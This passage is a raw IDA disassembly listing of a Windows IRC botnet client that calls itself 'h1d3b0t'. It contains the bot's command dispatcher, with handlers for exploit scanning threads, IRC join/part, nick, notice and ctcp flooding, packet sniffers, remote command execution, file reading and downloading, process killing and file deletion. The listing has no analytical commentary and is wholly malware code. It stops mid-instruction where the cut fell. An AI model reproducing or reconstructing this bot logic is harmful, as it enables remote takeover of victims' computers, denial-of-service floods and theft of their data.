; --------------------------------------------------------------------------- loc_404973: ; CODE XREF: sub_401B66+EF3j ; sub_401B66+F08j push [ebp+var_4] push [ebp+var_88] push [ebp+arg_4] call sub_41AE7F loc_404984: ; CODE XREF: sub_401B66+2A5Fj ; sub_401B66+2A75j ... add esp, 0Ch jmp loc_40976F ; --------------------------------------------------------------------------- loc_40498C: ; CODE XREF: sub_401B66+EC9j ; sub_401B66+EDEj push offset unk_42CDB0 jmp loc_40621B ; --------------------------------------------------------------------------- loc_404996: ; CODE XREF: sub_401B66+E9Fj ; sub_401B66+EB4j push offset aH1d3b0tVersion ; "h1d3b0t Version h4cker" push offset dword_42CD9C jmp loc_406C8C ; --------------------------------------------------------------------------- loc_4049A5: ; CODE XREF: sub_401B66+E75j ; sub_401B66+E8Aj mov esi, [ebp+esi+var_8C] cmp esi, ebx jz short loc_404A01 push esi call sub_41BF49 cmp eax, ebx pop ecx jl short loc_4049F6 cmp eax, 1 jge short loc_4049F6 mov edx, [ebp+arg_18] mov ecx, eax shl ecx, 7 lea esi, [ecx+edx] cmp [esi], bl jz short loc_4049EB lea eax, [esi+1] push eax lea eax, [ebp+var_2C0] push offset unk_42E058 push eax call sub_41C056 mov [esi], bl jmp loc_405F6A ; --------------------------------------------------------------------------- loc_4049EB: ; CODE XREF: sub_401B66+2E67j push eax push offset unk_42CD70 jmp loc_405F5E ; --------------------------------------------------------------------------- loc_4049F6: ; CODE XREF: sub_401B66+2E53j ; sub_401B66+2E58j push eax push offset unk_42CD44 jmp loc_405F5E ; --------------------------------------------------------------------------- loc_404A01: ; CODE XREF: sub_401B66+2E48j mov edi, [ebp+arg_18] xor esi, esi loc_404A06: ; CODE XREF: sub_401B66+2EBCj push [ebp+var_90] push edi call sub_41C840 pop ecx test eax, eax pop ecx jz short loc_404A29 inc esi add edi, 80h cmp esi, 1 jl short loc_404A06 jmp loc_406EC5 ; --------------------------------------------------------------------------- loc_404A29: ; CODE XREF: sub_401B66+2EB0j mov eax, [ebp+arg_18] shl esi, 7 mov [esi+eax], bl lea eax, [ebp+var_C0] push eax push offset unk_42E058 jmp loc_405F5E ; --------------------------------------------------------------------------- loc_404A43: ; CODE XREF: sub_401B66+E4Bj ; sub_401B66+E60j push [ebp+var_8C] push offset dword_42DFCC call sub_41C840 pop ecx test eax, eax pop ecx jz loc_403465 call sub_40B150 push ebx call dword_428068 ; ExitProcess loc_404A69: ; CODE XREF: sub_401B66+1938j push offset aGet ; "get" push esi call sub_41C840 pop ecx test eax, eax pop ecx jnz loc_404B0F cmp dword_4D14F4, ebx jz short loc_404A95 push offset dword_4D0ED8 push offset unk_42CD08 jmp loc_404B21 ; --------------------------------------------------------------------------- loc_404A95: ; CODE XREF: sub_401B66+2F1Ej push 10h pop eax mov [ebp+var_2D4], eax push eax lea eax, [ebp+var_2E4] push ebx push eax call sub_41BD60 add esp, 0Ch lea eax, [ebp+var_2D4] push eax lea eax, [ebp+var_2E4] push eax push [ebp+arg_4] call dword_428230 ; getsockname movzx eax, [ebp+var_2DE] push eax movzx eax, [ebp+var_2DF] push eax movzx eax, [ebp+var_2E0] push eax lea eax, [ebp+var_D9C] push offset aD_D_D_ ; "%d.%d.%d.*" push eax call sub_41C056 lea eax, [ebp+var_D9C] push eax lea eax, [ebp+var_2C0] push offset unk_42CD08 push eax call sub_41C056 add esp, 20h jmp loc_4034BD ; --------------------------------------------------------------------------- loc_404B0F: ; CODE XREF: sub_401B66+2F12j push esi call dword_4CDCA4 ; inet_addr cmp eax, 0FFFFFFFFh push esi jnz short loc_404B35 push offset unk_42CCC8 loc_404B21: ; CODE XREF: sub_401B66+2F2Aj lea eax, [ebp+var_2C0] push eax call sub_41C056 add esp, 0Ch jmp loc_4034BD ; --------------------------------------------------------------------------- loc_404B35: ; CODE XREF: sub_401B66+2FB4j push offset dword_4D0ED8 call sub_41C680 push esi lea eax, [ebp+var_2C0] push offset unk_42CC9C push eax mov dword_4D14F4, 1 call sub_41C056 add esp, 14h jmp loc_4034BD ; --------------------------------------------------------------------------- loc_404B63: ; CODE XREF: sub_401B66+1920j push edi push offset aExploit ; "exploit" call sub_41C840 pop ecx test eax, eax pop ecx jnz loc_404C5C mov eax, [ebp+var_4] mov esi, offset aGxxx_0 ; "#Gxxx" mov [ebp+var_13E0], eax mov eax, [ebp+var_8] mov [ebp+var_13DC], eax mov eax, [ebp+arg_4] mov [ebp+var_13F0], eax mov edi, 80h push esi lea eax, [ebp+var_1470] push edi push eax mov [ebp+var_13E8], 1 call sub_41C150 push esi lea eax, [ebp+var_14F0] push edi push eax call sub_41C150 push [ebp+arg_10] lea eax, [ebp+var_1500] push 10h push eax call sub_41C150 lea eax, [ebp+var_1500] push eax lea eax, [ebp+var_2C0] push offset unk_42CC64 push eax call sub_41C056 push ebx lea eax, [ebp+var_2C0] push 8 push eax call sub_40AF8D add esp, 3Ch mov [ebp+var_13E4], eax lea eax, [ebp+var_308] push eax lea eax, [ebp+var_1500] push ebx push eax push offset sub_40B71C push ebx push ebx call dword_42807C ; CreateThread mov ecx, [ebp+var_13E4] imul ecx, 234h cmp eax, ebx mov dword_440BAC[ecx], eax jnz short loc_404C4F call dword_42808C ; RtlGetLastWin32Error push eax push offset unk_42CC24 jmp loc_405F5E ; --------------------------------------------------------------------------- loc_404C47: ; CODE XREF: sub_401B66+30EFj push 32h call dword_428064 ; Sleep loc_404C4F: ; CODE XREF: sub_401B66+30CEj cmp [ebp+var_13D8], ebx jz short loc_404C47 jmp loc_406EC5 ; --------------------------------------------------------------------------- loc_404C5C: ; CODE XREF: sub_401B66+300Cj push edi push offset aReconnect_in ; "reconnect.in" call sub_41C840 pop ecx test eax, eax pop ecx jz loc_4096E2 push edi push offset aRin ; "rin" call sub_41C840 pop ecx test eax, eax pop ecx jz loc_4096E2 push edi push offset aReconnect_in_m ; "reconnect.in.ms" call sub_41C840 pop ecx test eax, eax pop ecx jz loc_40969C push edi push offset aRinms ; "rinms" call sub_41C840 pop ecx test eax, eax pop ecx jz loc_40969C push [ebp+arg_8] push offset aFlood ; "flood" call sub_41C840 mov edi, dword_428064 pop ecx test eax, eax pop ecx jnz loc_405818 call dword_4280A8 ; GetTickCount push eax call sub_41C0A8 push [ebp+arg_10] push offset aLoad ; "load" call sub_41C840 add esp, 0Ch test eax, eax jnz short loc_404D5F cmp [ebp+esi+var_80], ebx jz short loc_404D5F push [ebp+esi+var_80] call sub_41BF49 pop ecx push eax push [ebp+esi+var_84] call sub_41BF49 pop ecx push eax push [ebp+esi+var_88] call sub_417FB1 push [ebp+esi+var_84] lea eax, [ebp+var_2C0] push [ebp+esi+var_88] push [ebp+esi+var_80] push offset unk_42CBBC push eax call sub_41C056 add esp, 20h cmp [ebp+var_8], ebx jnz short loc_404D5F push ebx lea eax, [ebp+var_2C0] push [ebp+var_4] push eax push [ebp+var_88] push [ebp+arg_4] call sub_409982 add esp, 14h loc_404D5F: ; CODE XREF: sub_401B66+3185j ; sub_401B66+318Bj ... push [ebp+arg_10] push offset dword_42CBB8 call sub_41C840 pop ecx test eax, eax pop ecx jnz short loc_404DC8 mov eax, [ebp+esi+var_84] cmp eax, ebx jz short loc_404DC8 push offset asc_42E0C8 ; " " push offset dword_42CBB4 push eax call sub_4185D4 push eax lea eax, [ebp+var_50F0] push eax call sub_41C680 lea eax, [ebp+var_50F0] push eax lea eax, [ebp+var_2C0] push [ebp+esi+var_88] push offset dword_42CBA4 push eax call sub_41C056 lea eax, [ebp+var_2C0] push eax call sub_417CD6 add esp, 28h loc_404DC8: ; CODE XREF: sub_401B66+320Aj ; sub_401B66+3215j push [ebp+arg_10] push offset dword_42CBA0 call sub_41C840 pop ecx test eax, eax pop ecx jnz short loc_404E31 mov eax, [ebp+esi+var_84] cmp eax, ebx jz short loc_404E31 push offset asc_42E0C8 ; " " push offset dword_42CBB4 push eax call sub_4185D4 push eax lea eax, [ebp+var_4BEC] push eax call sub_41C680 lea eax, [ebp+var_4BEC] push eax lea eax, [ebp+var_2C0] push [ebp+esi+var_88] push offset dword_42CB8C push eax call sub_41C056 lea eax, [ebp+var_2C0] push eax call sub_417CD6 add esp, 28h loc_404E31: ; CODE XREF: sub_401B66+3273j ; sub_401B66+327Ej push [ebp+arg_10] push offset aNt ; "nt" call sub_41C840 pop ecx test eax, eax pop ecx jnz short loc_404E9A mov eax, [ebp+esi+var_84] cmp eax, ebx jz short loc_404E9A push offset asc_42E0C8 ; " " push offset dword_42CBB4 push eax call sub_4185D4 push eax lea eax, [ebp+var_46E8] push eax call sub_41C680 lea eax, [ebp+var_46E8] push eax lea eax, [ebp+var_2C0] push [ebp+esi+var_88] push offset aNoticeSS_1 ; "notice %s :%s" push eax call sub_41C056 lea eax, [ebp+var_2C0] push eax call sub_417CD6 add esp, 28h loc_404E9A: ; CODE XREF: sub_401B66+32DCj ; sub_401B66+32E7j push [ebp+arg_10] push offset aMode ; "mode" call sub_41C840 pop ecx test eax, eax pop ecx jnz short loc_404F03 mov eax, [ebp+esi+var_84] cmp eax, ebx jz short loc_404F03 push offset asc_42E0C8 ; " " push offset dword_42CBB4 push eax call sub_4185D4 push eax lea eax, [ebp+var_4DEC] push eax call sub_41C680 lea eax, [ebp+var_4DEC] push eax lea eax, [ebp+var_2C0] push [ebp+esi+var_88] push offset aModeSS ; "mode %s %s" push eax call sub_41C056 lea eax, [ebp+var_2C0] push eax call sub_417CD6 add esp, 28h loc_404F03: ; CODE XREF: sub_401B66+3345j ; sub_401B66+3350j push [ebp+arg_10] push offset aJoin ; "join" call sub_41C840 pop ecx test eax, eax pop ecx jnz short loc_404F42 mov eax, [ebp+esi+var_88] cmp eax, ebx jz short loc_404F42 push eax lea eax, [ebp+var_2C0] push offset aJoinS ; "join %s" push eax call sub_41C056 lea eax, [ebp+var_2C0] push eax call sub_417CD6 add esp, 10h loc_404F42: ; CODE XREF: sub_401B66+33AEj ; sub_401B66+33B9j push [ebp+arg_10] push offset aPart_0 ; "part" call sub_41C840 pop ecx test eax, eax pop ecx jnz short loc_404F81 mov eax, [ebp+esi+var_88] cmp eax, ebx jz short loc_404F81 push eax lea eax, [ebp+var_2C0] push offset aPartS ; "part %s" push eax call sub_41C056 lea eax, [ebp+var_2C0] push eax call sub_417CD6 add esp, 10h loc_404F81: ; CODE XREF: sub_401B66+33EDj ; sub_401B66+33F8j push [ebp+arg_10] push offset aPartflood ; "partflood" call sub_41C840 pop ecx test eax, eax pop ecx jnz short loc_404FC5 mov eax, [ebp+esi+var_88] cmp eax, ebx jz short loc_404FC5 push offset aCyber ; "CYBER" push eax lea eax, [ebp+var_2C0] push offset aPartSS ; "part %s %s" push eax call sub_41C056 lea eax, [ebp+var_2C0] push eax call sub_417CD6 add esp, 14h loc_404FC5: ; CODE XREF: sub_401B66+342Cj ; sub_401B66+3437j push [ebp+arg_10] push offset aPnick ; "pnick" call sub_41C840 pop ecx test eax, eax pop ecx jnz short loc_40503A cmp [ebp+esi+var_88], ebx jz short loc_40503A call dword_4280A8 ; GetTickCount push eax call sub_41C0A8 call sub_41C0B2 cdq mov ecx, 0F423Fh idiv ecx lea eax, [ebp+var_1804] push edx push [ebp+esi+var_88] push offset dword_42CB1C push eax call sub_41C056 lea eax, [ebp+var_1804] push eax lea eax, [ebp+var_2C0] push offset dword_42CB14 push eax call sub_41C056 lea eax, [ebp+var_2C0] push eax call sub_417CD6 add esp, 24h loc_40503A: ; CODE XREF: sub_401B66+3470j ; sub_401B66+3479j push [ebp+arg_10] push offset dword_42CB08 call sub_41C840 pop ecx test eax, eax pop ecx jnz loc_405181 cmp [ebp+esi+var_88], ebx jz loc_405181 push [ebp+esi+var_88] lea eax, [ebp+var_2C0] push offset aJoinS ; "join %s" push eax call sub_41C056 lea eax, [ebp+var_2C0] push eax call sub_417CD6 push offset aCyber ; "CYBER" lea eax, [ebp+var_2C0] push [ebp+esi+var_88] push offset aPartSS ; "part %s %s" push eax call sub_41C056 lea eax, [ebp+var_2C0] push eax call sub_417CD6 add esp, 24h call sub_41C0B2 cdq mov ecx, 3E8h idiv ecx push edx call edi ; Sleep push [ebp+esi+var_88] lea eax, [ebp+var_2C0] push offset aJoinS ; "join %s" push eax call sub_41C056 lea eax, [ebp+var_2C0] push eax call sub_417CD6 add esp, 10h call sub_41C0B2 cdq mov ecx, 384h idiv ecx push edx call edi ; Sleep push offset aCyber ; "CYBER" lea eax, [ebp+var_2C0] push [ebp+esi+var_88] push offset aPartSS ; "part %s %s" push eax call sub_41C056 lea eax, [ebp+var_2C0] push eax call sub_417CD6 push [ebp+esi+var_88] lea eax, [ebp+var_2C0] push offset aJoinS ; "join %s" push eax call sub_41C056 lea eax, [ebp+var_2C0] push eax call sub_417CD6 add esp, 24h call sub_41C0B2 cdq mov ecx, 0C8h idiv ecx push edx call edi ; Sleep push offset aCyber ; "CYBER" lea eax, [ebp+var_2C0] push [ebp+esi+var_88] push offset aPartSS ; "part %s %s" push eax call sub_41C056 lea eax, [ebp+var_2C0] push eax call sub_417CD6 add esp, 14h loc_405181: ; CODE XREF: sub_401B66+34E5j ; sub_401B66+34F2j push [ebp+arg_10] push offset dword_42CB04 call sub_41C840 pop ecx test eax, eax pop ecx jnz loc_40521B cmp [ebp+esi+var_88], ebx jz short loc_40521B call dword_4280A8 ; GetTickCount push eax call sub_41C0A8 pop ecx call sub_41C0B2 cdq mov ecx, 0F423Fh idiv ecx push edx call sub_41C0B2 cdq mov ecx, 0F423Fh idiv ecx push edx call sub_41C0B2 cdq mov ecx, 0F423Fh idiv ecx push edx call sub_41C0B2 cdq mov ecx, 0F423Fh idiv ecx push edx call sub_41C0B2 cdq mov ecx, 0F423Fh idiv ecx lea eax, [ebp+var_2C0] push edx push [ebp+esi+var_88] push offset dword_42CADC push eax call sub_41C056 lea eax, [ebp+var_2C0] push eax call sub_417CD6 add esp, 24h loc_40521B: ; CODE XREF: sub_401B66+362Cj ; sub_401B66+3639j push [ebp+arg_10] push offset aNick_0 ; "nick" call sub_41C840 pop ecx test eax, eax pop ecx jnz loc_405318 mov eax, [ebp+esi+var_88] cmp eax, ebx jz loc_405318 push eax lea eax, [ebp+var_2C0] push offset aJoinS ; "join %s" push eax call sub_41C056 lea eax, [ebp+var_2C0] push eax call sub_417CD6 lea eax, [ebp+var_4B8] push eax call sub_41802F lea eax, [ebp+var_4B8] push eax lea eax, [ebp+var_2C0] push offset dword_42CB14 push eax call sub_41C056 lea eax, [ebp+var_2C0] push eax call sub_417CD6 add esp, 24h call sub_41C0B2 cdq mov ecx, 514h idiv ecx push edx call edi ; Sleep lea eax, [ebp+var_4B8] push eax call sub_41802F lea eax, [ebp+var_4B8] push eax lea eax, [ebp+var_2C0] push offset dword_42CB14 push eax call sub_41C056 lea eax, [ebp+var_2C0] push eax call sub_417CD6 add esp, 14h call sub_41C0B2 cdq mov ecx, 1F4h idiv ecx push edx call edi ; Sleep lea eax, [ebp+var_4B8] push eax call sub_41802F lea eax, [ebp+var_4B8] push eax lea eax, [ebp+var_2C0] push offset dword_42CB14 push eax call sub_41C056 lea eax, [ebp+var_2C0] push eax call sub_417CD6 add esp, 14h loc_405318: ; CODE XREF: sub_401B66+36C6j ; sub_401B66+36D5j push [ebp+arg_10] push offset aChgnick ; "chgnick" call sub_41C840 pop ecx test eax, eax pop ecx jnz short loc_40535E lea eax, [ebp+var_17CC] push eax call sub_41802F lea eax, [ebp+var_17CC] push eax lea eax, [ebp+var_2C0] push offset dword_42CB14 push eax call sub_41C056 lea eax, [ebp+var_2C0] push eax call sub_417CD6 add esp, 14h loc_40535E: ; CODE XREF: sub_401B66+37C3j push [ebp+arg_10] push offset aMsg ; "msg" call sub_41C840 pop ecx test eax, eax pop ecx jnz loc_40544A cmp [ebp+esi+var_88], ebx jz loc_40544A push [ebp+esi+var_88] lea eax, [ebp+var_2C0] push offset aJoinS ; "join %s" push eax call sub_41C056 lea eax, [ebp+var_2C0] push eax call sub_417CD6 push offset aCyber_0 ; "CYBER" lea eax, [ebp+var_2C0] push [ebp+esi+var_88] push offset dword_42CBA4 push eax call sub_41C056 lea eax, [ebp+var_2C0] push eax call sub_417CD6 add esp, 24h call sub_41C0B2 cdq mov ecx, 3E8h idiv ecx push edx call edi ; Sleep push offset aCyber_0 ; "CYBER" lea eax, [ebp+var_2C0] push [ebp+esi+var_88] push offset dword_42CBA4 push eax call sub_41C056 lea eax, [ebp+var_2C0] push eax call sub_417CD6 add esp, 14h call sub_41C0B2 cdq mov ecx, 384h idiv ecx push edx call edi ; Sleep push offset aCyber_0 ; "CYBER" lea eax, [ebp+var_2C0] push [ebp+esi+var_88] push offset dword_42CBA4 push eax call sub_41C056 lea eax, [ebp+var_2C0] push eax call sub_417CD6 add esp, 14h loc_40544A: ; CODE XREF: sub_401B66+3809j ; sub_401B66+3816j push [ebp+arg_10] push offset aNotice_0 ; "notice" call sub_41C840 pop ecx test eax, eax pop ecx jnz loc_405536 cmp [ebp+esi+var_88], ebx jz loc_405536 push [ebp+esi+var_88] lea eax, [ebp+var_2C0] push offset aJoinS ; "join %s" push eax call sub_41C056 lea eax, [ebp+var_2C0] push eax call sub_417CD6 push offset aCyber_0 ; "CYBER" lea eax, [ebp+var_2C0] push [ebp+esi+var_88] push offset aNoticeSS_0 ; "NOTICE %s :%s" push eax call sub_41C056 lea eax, [ebp+var_2C0] push eax call sub_417CD6 add esp, 24h call sub_41C0B2 cdq mov ecx, 3E8h idiv ecx push edx call edi ; Sleep push offset aCyber_0 ; "CYBER" lea eax, [ebp+var_2C0] push [ebp+esi+var_88] push offset aNoticeSS_0 ; "NOTICE %s :%s" push eax call sub_41C056 lea eax, [ebp+var_2C0] push eax call sub_417CD6 add esp, 14h call sub_41C0B2 cdq mov ecx, 384h idiv ecx push edx call edi ; Sleep push offset aCyber_0 ; "CYBER" lea eax, [ebp+var_2C0] push [ebp+esi+var_88] push offset aNoticeSS_0 ; "NOTICE %s :%s" push eax call sub_41C056 lea eax, [ebp+var_2C0] push eax call sub_417CD6 add esp, 14h loc_405536: ; CODE XREF: sub_401B66+38F5j ; sub_401B66+3902j push [ebp+arg_10] push offset aCtcp ; "ctcp" call sub_41C840 pop ecx test eax, eax pop ecx jnz loc_40564A cmp [ebp+esi+var_88], ebx jz loc_40564A push [ebp+esi+var_88] lea eax, [ebp+var_2C0] push offset aJoinS ; "join %s" push eax call sub_41C056 lea eax, [ebp+var_2C0] push eax call sub_417CD6 push [ebp+esi+var_88] lea eax, [ebp+var_2C0] push offset dword_42CA94 push eax call sub_41C056 lea eax, [ebp+var_2C0] push eax call sub_417CD6 add esp, 20h call sub_41C0B2 cdq mov ecx, 514h idiv ecx push edx call edi ; Sleep push [ebp+esi+var_88] lea eax, [ebp+var_2C0] push offset dword_42CA7C push eax call sub_41C056 lea eax, [ebp+var_2C0] push eax call sub_417CD6 add esp, 10h call sub_41C0B2 cdq mov ecx, 514h idiv ecx push edx call edi ; Sleep push [ebp+esi+var_88] lea eax, [ebp+var_2C0] push offset dword_42CA64 push eax call sub_41C056 lea eax, [ebp+var_2C0] push eax call sub_417CD6 add esp, 10h call sub_41C0B2 cdq mov ecx, 514h idiv ecx push edx call edi ; Sleep push [ebp+esi+var_88] lea eax, [ebp+var_2C0] push offset dword_42CA64 push eax call sub_41C056 lea eax, [ebp+var_2C0] push eax call sub_417CD6 add esp, 10h loc_40564A: ; CODE XREF: sub_401B66+39E1j ; sub_401B66+39EEj push [ebp+arg_10] push offset aMix ; "mix" call sub_41C840 pop ecx test eax, eax pop ecx jnz loc_40576D cmp [ebp+esi+var_88], ebx jz loc_40576D push [ebp+esi+var_88] lea eax, [ebp+var_2C0] push offset aJoinS ; "join %s" push eax call sub_41C056 lea eax, [ebp+var_2C0] push eax call sub_417CD6 push [ebp+esi+var_88] lea eax, [ebp+var_2C0] push offset dword_42CA94 push eax call sub_41C056 lea eax, [ebp+var_2C0] push eax call sub_417CD6 add esp, 20h call sub_41C0B2 cdq mov ecx, 514h idiv ecx push edx call edi ; Sleep push offset aCyber_0 ; "CYBER" lea eax, [ebp+var_2C0] push [ebp+esi+var_88] push offset aNoticeSS_0 ; "NOTICE %s :%s" push eax call sub_41C056 lea eax, [ebp+var_2C0] push eax call sub_417CD6 add esp, 14h call sub_41C0B2 cdq mov ecx, 514h idiv ecx push edx call edi ; Sleep push offset aCyber_0 ; "CYBER" lea eax, [ebp+var_2C0] push [ebp+esi+var_88] push offset aPrivmsgSS_0 ; "PRIVMSG %s :%s" push eax call sub_41C056 lea eax, [ebp+var_2C0] push eax call sub_417CD6 add esp, 14h call sub_41C0B2 cdq mov ecx, 514h idiv ecx push edx call edi ; Sleep push offset aCyber_0 ; "CYBER" lea eax, [ebp+var_2C0] push [ebp+esi+var_88] push offset aNoticeSS_0 ; "NOTICE %s :%s" push eax call sub_41C056 lea eax, [ebp+var_2C0] push eax call sub_417CD6 add esp, 14h loc_40576D: ; CODE XREF: sub_401B66+3AF5j ; sub_401B66+3B02j push [ebp+arg_10] push offset aRegister ; "register" call sub_41C840 pop ecx test eax, eax pop ecx jnz short loc_4057B3 mov eax, [ebp+esi+var_84] cmp eax, ebx jz short loc_4057B3 push eax lea eax, [ebp+var_2C0] push [ebp+esi+var_88] push offset aNickservRegist ; "nickserv register %s %s" push eax call sub_41C056 lea eax, [ebp+var_2C0] push eax call sub_417CD6 add esp, 14h loc_4057B3: ; CODE XREF: sub_401B66+3C18j ; sub_401B66+3C23j push [ebp+arg_10] push offset aOff ; "off" call sub_41C840 pop ecx test eax, eax pop ecx jnz loc_406282 mov edi, offset dword_4D6DC4 loc_4057CF: ; CODE XREF: sub_401B66+3C88j cmp dword ptr [edi-4], 1 jnz short loc_4057E2 mov eax, [edi] cmp eax, ebx jbe short loc_4057E2 push eax call dword_4CDCFC ; closesocket loc_4057E2: ; CODE XREF: sub_401B66+3C6Dj ; sub_401B66+3C73j add edi, 210h cmp edi, offset dword_4DD4E4 jl short loc_4057CF cmp [ebp+var_8], ebx jnz loc_406282 push ebx push [ebp+var_4] push offset unk_42CA04 push [ebp+var_88] push [ebp+arg_4] call sub_409982 add esp, 14h jmp loc_406282 ; --------------------------------------------------------------------------- loc_405818: ; CODE XREF: sub_401B66+3161j mov edi, [ebp+arg_8] push edi push offset aNick_0 ; "nick" call sub_41C840 pop ecx test eax, eax pop ecx jz loc_40967F push edi push offset aN ; "n" call sub_41C840 pop ecx test eax, eax pop ecx jz loc_40967F push edi push offset aJoin ; "join" call sub_41C840 pop ecx test eax, eax pop ecx jz loc_40965B push edi push offset aJ ; "j" call sub_41C840 pop ecx test eax, eax pop ecx jz loc_40965B push edi push offset aPart_0 ; "part" call sub_41C840 pop ecx test eax, eax pop ecx jz loc_40963E push edi push offset aPt ; "pt" call sub_41C840 pop ecx test eax, eax pop ecx jz loc_40963E push edi push offset aRaw ; "raw" call sub_41C840 pop ecx test eax, eax pop ecx jz loc_409605 push edi push offset aR ; "r" call sub_41C840 pop ecx test eax, eax pop ecx jz loc_409605 push edi push offset aKillthread ; "killthread" call sub_41C840 pop ecx test eax, eax pop ecx jz loc_409553 push edi push offset aK ; "k" call sub_41C840 pop ecx test eax, eax pop ecx jz loc_409553 push edi push offset aC_quit ; "c_quit" call sub_41C840 pop ecx test eax, eax pop ecx jz loc_4094A5 push edi push offset aC_q ; "c_q" call sub_41C840 pop ecx test eax, eax pop ecx jz loc_4094A5 push edi push offset aC_rndnick ; "c_rndnick" call sub_41C840 pop ecx test eax, eax pop ecx jz loc_409456 push edi push offset aC_rn ; "c_rn" call sub_41C840 pop ecx test eax, eax pop ecx jz loc_409456 push edi push offset aPrefix ; "prefix" call sub_41C840 pop ecx test eax, eax pop ecx jz loc_40943D push edi push offset aPr ; "pr" call sub_41C840 pop ecx test eax, eax pop ecx jz loc_40943D push edi push offset aOpen ; "open" call sub_41C840 pop ecx test eax, eax pop ecx jz loc_40940F push edi push offset aO ; "o" call sub_41C840 pop ecx test eax, eax pop ecx jz loc_40940F push edi push offset aServer ; "server" call sub_41C840 pop ecx test eax, eax pop ecx jz loc_4093E6 push edi push offset aSe ; "se" call sub_41C840 pop ecx test eax, eax pop ecx jz loc_4093E6 push edi push offset aDns ; "dns" call sub_41C840 pop ecx test eax, eax pop ecx jz loc_40937E push edi push offset aDn ; "dn" call sub_41C840 pop ecx test eax, eax pop ecx jz loc_40937E push edi push offset aKillproc ; "killproc" call sub_41C840 pop ecx test eax, eax pop ecx jz loc_40934E push edi push offset aKp ; "kp" call sub_41C840 pop ecx test eax, eax pop ecx jz loc_40934E push edi push offset aKill ; "kill" call sub_41C840 pop ecx test eax, eax pop ecx jz loc_4092EF push edi push offset aKi ; "ki" call sub_41C840 pop ecx test eax, eax pop ecx jz loc_4092EF push edi push offset aDelete ; "delete" call sub_41C840 pop ecx test eax, eax pop ecx jz loc_4092B4 push edi push offset aDel ; "del" call sub_41C840 pop ecx test eax, eax pop ecx jz loc_4092B4 push edi push offset aGet ; "get" call sub_41C840 pop ecx test eax, eax pop ecx jz loc_4091D2 push edi push offset aGt ; "gt" call sub_41C840 pop ecx test eax, eax pop ecx jz loc_4091D2 push edi push offset aList ; "list" call sub_41C840 pop ecx test eax, eax pop ecx jz loc_4091B3 push edi push offset aLi ; "li" call sub_41C840 pop ecx test eax, eax pop ecx jz loc_4091B3 push edi push offset aVisit ; "visit" call sub_41C840 pop ecx test eax, eax pop ecx jz loc_4090D2 push edi push offset aV ; "v" call sub_41C840 pop ecx test eax, eax pop ecx jz loc_4090D2 push edi push offset aMirccmd ; "mirccmd" call sub_41C840 pop ecx test eax, eax pop ecx jz loc_40905C push edi push offset aMirc ; "mirc" call sub_41C840 pop ecx test eax, eax pop ecx jz loc_40905C push edi push offset aCmd ; "cmd" call sub_41C840 pop ecx test eax, eax pop ecx jz loc_409006 push edi push offset aCm ; "cm" call sub_41C840 pop ecx test eax, eax pop ecx jz loc_409006 push edi push offset aReadfile ; "readfile" call sub_41C840 pop ecx test eax, eax pop ecx jz loc_408F7B push edi push offset aRf ; "rf" call sub_41C840 pop ecx test eax, eax pop ecx jz loc_408F7B push edi push offset aPsniff ; "psniff" call sub_41C840 pop ecx test eax, eax pop ecx jnz loc_405CB1 push [ebp+arg_10] push offset aOn ; "on" call sub_41C840 pop ecx test eax, eax pop ecx jnz loc_405C77 push 20h call sub_40B1CF test eax, eax pop ecx jle short loc_405BA5 push offset dword_42C908 jmp loc_406EB7 ; --------------------------------------------------------------------------- loc_405BA5: ; CODE XREF: sub_401B66+4033j mov eax, [ebp+arg_4] mov esi, [ebp+esi+var_88] mov [ebp+var_FE8], eax mov eax, [ebp+var_4] mov [ebp+var_F60], eax mov eax, [ebp+var_8] cmp esi, ebx mov [ebp+var_F5C], eax jnz short loc_405BE7 mov esi, offset aGxxx_2 ; "#Gxxx" push offset byte_43FE14 push esi call sub_41C840 pop ecx test eax, eax pop ecx jnz short loc_405BE7 mov esi, [ebp+var_88] loc_405BE7: ; CODE XREF: sub_401B66+4063j ; sub_401B66+4079j push esi lea eax, [ebp+var_FE4] push 80h push eax call sub_41C150 lea eax, [ebp+var_2C0] push offset dword_42C8D8 push eax call sub_41C056 push ebx lea eax, [ebp+var_2C0] push 20h push eax call sub_40AF8D add esp, 20h mov [ebp+var_F64], eax lea eax, [ebp+var_10] push eax lea eax, [ebp+var_FE8] push ebx push eax push offset sub_41261F push ebx push ebx call dword_42807C ; CreateThread mov ecx, [ebp+var_F64] imul ecx, 234h cmp eax, ebx mov dword_440BAC[ecx], eax jnz short loc_405C6A call dword_42808C ; RtlGetLastWin32Error push eax push offset dword_42C89C jmp loc_405F5E ; --------------------------------------------------------------------------- loc_405C62: ; CODE XREF: sub_401B66+410Aj push 32h call dword_428064 ; Sleep loc_405C6A: ; CODE XREF: sub_401B66+40E9j cmp [ebp+var_F58], ebx jz short loc_405C62 jmp loc_406EC5 ; --------------------------------------------------------------------------- loc_405C77: ; CODE XREF: sub_401B66+4023j push [ebp+arg_10] push offset aOff ; "off" call sub_41C840 pop ecx test eax, eax pop ecx jnz loc_406EC5 push ebx push 20h call sub_40B182 pop ecx cmp eax, ebx pop ecx jle short loc_405CA7 push eax push offset dword_42C860 jmp loc_405F5E ; --------------------------------------------------------------------------- loc_405CA7: ; CODE XREF: sub_401B66+4134j push offset dword_42C834 jmp loc_406EB7 ; --------------------------------------------------------------------------- loc_405CB1: ; CODE XREF: sub_401B66+400Cj push edi push offset aSniffer ; "sniffer" call sub_41C840 pop ecx test eax, eax pop ecx jnz loc_405DFF push [ebp+arg_10] push offset aOn ; "on" call sub_41C840 pop ecx test eax, eax pop ecx jnz loc_405DC5 push 21h call sub_40B1CF test eax, eax pop ecx jle short loc_405CF3 push offset unk_42C80C jmp loc_406EB7 ; --------------------------------------------------------------------------- loc_405CF3: ; CODE XREF: sub_401B66+4181j mov eax, [ebp+arg_4] mov esi, [ebp+esi+var_88] mov [ebp+var_EC0], eax mov eax, [ebp+var_4] mov [ebp+var_E38], eax mov eax, [ebp+var_8] cmp esi, ebx mov [ebp+var_E34], eax jnz short loc_405D35 mov esi, offset aGxxx_2 ; "#Gxxx" push offset byte_43FE14 push esi call sub_41C840 pop ecx test eax, eax pop ecx jnz short loc_405D35 mov esi, [ebp+var_88] loc_405D35: ; CODE XREF: sub_401B66+41B1j ; sub_401B66+41C7j push esi lea eax, [ebp+var_EBC] push 80h push eax call sub_41C150 lea eax, [ebp+var_2C0] push offset unk_42C7DC push eax call sub_41C056 push ebx lea eax, [ebp+var_2C0] push 21h push eax call sub_40AF8D add esp, 20h mov [ebp+var_E3C], eax lea eax, [ebp+var_10] push eax lea eax, [ebp+var_EC0] push ebx push eax push offset sub_412CA4 push ebx push ebx call dword_42807C ; CreateThread mov ecx, [ebp+var_E3C] imul ecx, 234h cmp 